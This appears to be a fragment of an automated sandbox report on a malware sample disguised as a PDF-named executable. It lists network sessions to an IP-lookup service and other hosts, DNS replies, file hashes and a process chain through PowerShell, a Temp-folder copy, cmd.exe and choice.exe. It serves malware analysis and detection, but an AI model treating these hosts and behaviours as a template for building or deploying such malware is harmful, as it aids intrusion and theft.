Jul 25, 2024 10:14:01.590564966 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.591660976 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.597202063 CEST | 80 | 59967 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:01.597263098 CEST | 80 | 59969 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:01.597280979 CEST | 59967 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.597400904 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.597402096 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:01.602193117 CEST | 80 | 59969 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:02.307203054 CEST | 80 | 59969 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:02.308463097 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.308576107 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.308659077 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.308934927 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.308978081 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.365128040 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.787369967 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.788934946 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.788968086 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.934710979 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.934798956 CEST | 443 | 59970 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:02.934910059 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.935518980 CEST | 59970 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:02.938638926 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.939790964 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.943867922 CEST | 80 | 59969 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:02.943914890 CEST | 59969 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.944514036 CEST | 80 | 59971 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:02.944570065 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.944669008 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:02.949423075 CEST | 80 | 59971 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:03.661360025 CEST | 80 | 59971 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:03.664377928 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:03.664408922 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:03.664504051 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:03.664736986 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:03.664747000 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:03.755781889 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.154298067 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:04.159468889 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:04.159501076 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:04.313735008 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:04.313832045 CEST | 443 | 59972 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:04.313980103 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:04.314306021 CEST | 59972 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:04.323309898 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.324342966 CEST | 59973 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.330144882 CEST | 80 | 59973 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:04.330162048 CEST | 80 | 59971 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:04.330212116 CEST | 59973 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.330241919 CEST | 59971 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.330396891 CEST | 59973 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:04.336169004 CEST | 80 | 59973 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:05.038235903 CEST | 80 | 59973 | 132.226.247.73 | 192.168.2.5 |
Jul 25, 2024 10:14:05.039714098 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.039750099 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.039849043 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.040168047 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.040182114 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.083951950 CEST | 59973 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:05.533561945 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.535368919 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.535383940 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.683545113 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.683660030 CEST | 443 | 59974 | 188.114.97.3 | 192.168.2.5 |
Jul 25, 2024 10:14:05.684092999 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.684298992 CEST | 59974 | 443 | 192.168.2.5 | 188.114.97.3 |
Jul 25, 2024 10:14:05.827066898 CEST | 59965 | 80 | 192.168.2.5 | 132.226.247.73 |
Jul 25, 2024 10:14:05.827195883 CEST | 59973 | 80 | 192.168.2.5 | 132.226.247.73 |
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Jul 25, 2024 10:13:35.878683090 CEST | 53 | 54946 | 1.1.1.1 | 192.168.2.5 |
Jul 25, 2024 10:13:48.920160055 CEST | 53 | 55314 | 162.159.36.2 | 192.168.2.5 |
Jul 25, 2024 10:13:49.431216002 CEST | 53 | 49426 | 1.1.1.1 | 192.168.2.5 |
Jul 25, 2024 10:13:52.543942928 CEST | 56979 | 53 | 192.168.2.5 | 1.1.1.1 |
Jul 25, 2024 10:13:52.871205091 CEST | 53 | 56979 | 1.1.1.1 | 192.168.2.5 |
Jul 25, 2024 10:13:54.140052080 CEST | 64878 | 53 | 192.168.2.5 | 1.1.1.1 |
Jul 25, 2024 10:13:54.147295952 CEST | 53 | 64878 | 1.1.1.1 | 192.168.2.5 |
Jul 25, 2024 10:13:55.802051067 CEST | 63735 | 53 | 192.168.2.5 | 1.1.1.1 |
Jul 25, 2024 10:13:55.812114000 CEST | 53 | 63735 | 1.1.1.1 | 192.168.2.5 |
Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
---|---|---|---|---|---|---|---|---|
Jul 25, 2024 10:13:52.543942928 CEST | 192.168.2.5 | 1.1.1.1 | 0x5627 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
Jul 25, 2024 10:13:54.140052080 CEST | 192.168.2.5 | 1.1.1.1 | 0x7b6e | Standard query (0) | A (IP address) | IN (0x0001) | false | |
Jul 25, 2024 10:13:55.802051067 CEST | 192.168.2.5 | 1.1.1.1 | 0xab3b | Standard query (0) | A (IP address) | IN (0x0001) | false |
Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
---|---|---|---|---|---|---|---|---|---|---|
Jul 25, 2024 10:13:52.871205091 CEST | 1.1.1.1 | 192.168.2.5 | 0x5627 | No error (0) | 108.167.181.251 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | checkip.dyndns.com | CNAME (Canonical name) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | 132.226.247.73 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | 193.122.130.0 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | 193.122.6.168 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | 132.226.8.169 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:54.147295952 CEST | 1.1.1.1 | 192.168.2.5 | 0x7b6e | No error (0) | 158.101.44.242 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:55.812114000 CEST | 1.1.1.1 | 192.168.2.5 | 0xab3b | No error (0) | 188.114.97.3 | A (IP address) | IN (0x0001) | false | ||
Jul 25, 2024 10:13:55.812114000 CEST | 1.1.1.1 | 192.168.2.5 | 0xab3b | No error (0) | 188.114.96.3 | A (IP address) | IN (0x0001) | false |
|
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
0 | 192.168.2.5 | 59960 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:13:54.159282923 CEST | 151 | OUT | |
Jul 25, 2024 10:13:54.835649014 CEST | 320 | IN | |
Jul 25, 2024 10:13:54.840125084 CEST | 127 | OUT | |
Jul 25, 2024 10:13:55.047537088 CEST | 320 | IN | |
Jul 25, 2024 10:13:56.445100069 CEST | 127 | OUT | |
Jul 25, 2024 10:13:56.655008078 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
1 | 192.168.2.5 | 59963 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:13:57.577697992 CEST | 127 | OUT | |
Jul 25, 2024 10:13:58.249696016 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
2 | 192.168.2.5 | 59965 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:13:58.870138884 CEST | 127 | OUT | |
Jul 25, 2024 10:13:59.547147989 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
3 | 192.168.2.5 | 59967 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:14:00.212385893 CEST | 151 | OUT | |
Jul 25, 2024 10:14:00.907155991 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
4 | 192.168.2.5 | 59969 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:14:01.597402096 CEST | 151 | OUT | |
Jul 25, 2024 10:14:02.307203054 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
5 | 192.168.2.5 | 59971 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:14:02.944669008 CEST | 151 | OUT | |
Jul 25, 2024 10:14:03.661360025 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
6 | 192.168.2.5 | 59973 | 132.226.247.73 | 80 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Jul 25, 2024 10:14:04.330396891 CEST | 151 | OUT | |
Jul 25, 2024 10:14:05.038235903 CEST | 320 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
0 | 192.168.2.5 | 59959 | 108.167.181.251 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:13:53 UTC | 199 | OUT | |
2024-07-25 08:13:53 UTC | 249 | IN | |
2024-07-25 08:13:53 UTC | 7943 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN | |
2024-07-25 08:13:53 UTC | 8000 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
1 | 192.168.2.5 | 59961 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:13:56 UTC | 84 | OUT | |
2024-07-25 08:13:56 UTC | 704 | IN | |
2024-07-25 08:13:56 UTC | 340 | IN | |
2024-07-25 08:13:56 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
2 | 192.168.2.5 | 59962 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:13:57 UTC | 60 | OUT | |
2024-07-25 08:13:57 UTC | 704 | IN | |
2024-07-25 08:13:57 UTC | 340 | IN | |
2024-07-25 08:13:57 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
3 | 192.168.2.5 | 59964 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:13:58 UTC | 84 | OUT | |
2024-07-25 08:13:58 UTC | 710 | IN | |
2024-07-25 08:13:58 UTC | 340 | IN | |
2024-07-25 08:13:58 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
4 | 192.168.2.5 | 59966 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:14:00 UTC | 84 | OUT | |
2024-07-25 08:14:00 UTC | 700 | IN | |
2024-07-25 08:14:00 UTC | 340 | IN | |
2024-07-25 08:14:00 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
5 | 192.168.2.5 | 59968 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:14:01 UTC | 84 | OUT | |
2024-07-25 08:14:01 UTC | 708 | IN | |
2024-07-25 08:14:01 UTC | 340 | IN | |
2024-07-25 08:14:01 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
6 | 192.168.2.5 | 59970 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:14:02 UTC | 84 | OUT | |
2024-07-25 08:14:02 UTC | 714 | IN | |
2024-07-25 08:14:02 UTC | 340 | IN | |
2024-07-25 08:14:02 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
7 | 192.168.2.5 | 59972 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:14:04 UTC | 84 | OUT | |
2024-07-25 08:14:04 UTC | 702 | IN | |
2024-07-25 08:14:04 UTC | 340 | IN | |
2024-07-25 08:14:04 UTC | 5 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
8 | 192.168.2.5 | 59974 | 188.114.97.3 | 443 | 7032 | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
2024-07-25 08:14:05 UTC | 84 | OUT | |
2024-07-25 08:14:05 UTC | 700 | IN | |
2024-07-25 08:14:05 UTC | 340 | IN | |
2024-07-25 08:14:05 UTC | 5 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
Target ID: | 0 |
Start time: | 04:13:01 |
Start date: | 25/07/2024 |
Path: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x400000 |
File size: | 878'240 bytes |
MD5 hash: | 3755CE1468A267B6E1084C8069B54A8C |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | low |
Has exited: | true |
Target ID: | 2 |
Start time: | 04:13:04 |
Start date: | 25/07/2024 |
Path: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1d0000 |
File size: | 433'152 bytes |
MD5 hash: | C32CA4ACFCC635EC1EA6ED8A34DF5FAC |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Yara matches: |
|
Reputation: | high |
Has exited: | true |
Target ID: | 3 |
Start time: | 04:13:04 |
Start date: | 25/07/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6d64d0000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 6 |
Start time: | 04:13:46 |
Start date: | 25/07/2024 |
Path: | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x400000 |
File size: | 878'240 bytes |
MD5 hash: | 3755CE1468A267B6E1084C8069B54A8C |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Yara matches: |
|
Antivirus matches: |
|
Reputation: | low |
Has exited: | true |
Target ID: | 7 |
Start time: | 04:14:04 |
Start date: | 25/07/2024 |
Path: | C:\Windows\SysWOW64\cmd.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x790000 |
File size: | 236'544 bytes |
MD5 hash: | D0FCE3AFA6AA1D58CE9FA336CC2B675B |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 8 |
Start time: | 04:14:04 |
Start date: | 25/07/2024 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6d64d0000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 9 |
Start time: | 04:14:04 |
Start date: | 25/07/2024 |
Path: | C:\Windows\SysWOW64\choice.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0xf50000 |
File size: | 28'160 bytes |
MD5 hash: | FCE0E41C87DC4ABBE976998AD26C27E4 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | moderate |
Has exited: | true |
Execution Graph
Execution Coverage: | 20.4% |
Dynamic/Decrypted Code Coverage: | 0% |
Signature Coverage: | 22.1% |
Total number of Nodes: | 1283 |
Total number of Limit Nodes: | 35 |
Graph
Function 00403358 Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335stringfilecomCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004052D1 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405F0A Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 207stringCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405770 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON
Control-flow Graph
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040653D Relevance: 5.4, APIs: 4, Instructions: 382COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004038B2 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216stringregistrylibraryCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00402DBA Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203memoryCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00401752 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145stringtimeCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405192 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringwindowCOMMON
Control-flow Graph
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040317B Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108fileCOMMON
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Control-flow Graph
APIs |
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405663 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
APIs |
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00406972 Relevance: 5.2, APIs: 4, Instructions: 236COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00406B73 Relevance: 5.2, APIs: 4, Instructions: 208COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00406889 Relevance: 5.2, APIs: 4, Instructions: 205COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004067DC Relevance: 5.2, APIs: 4, Instructions: 180COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004068FA Relevance: 5.2, APIs: 4, Instructions: 170COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00406846 Relevance: 5.2, APIs: 4, Instructions: 168COMMON
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405265 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405B54 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405B2F Relevance: 3.0, APIs: 2, Instructions: 13COMMON
APIs |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00404179 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00404162 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040330D Relevance: 1.5, APIs: 1, Instructions: 6COMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040414F Relevance: 1.5, APIs: 1, Instructions: 4COMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00404B0E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004045C8 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 269stringCOMMON
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Strings |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 0040276E Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON
APIs |
|
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 004042CA Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
Function 00405C06 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON
APIs |
|
Strings |
Memory Dump Source |
|
|
Joe Sandbox IDA Plugin |
|
Similarity |
|
APIs |
|
Strings |
|
Memory Dump Source |
|
|
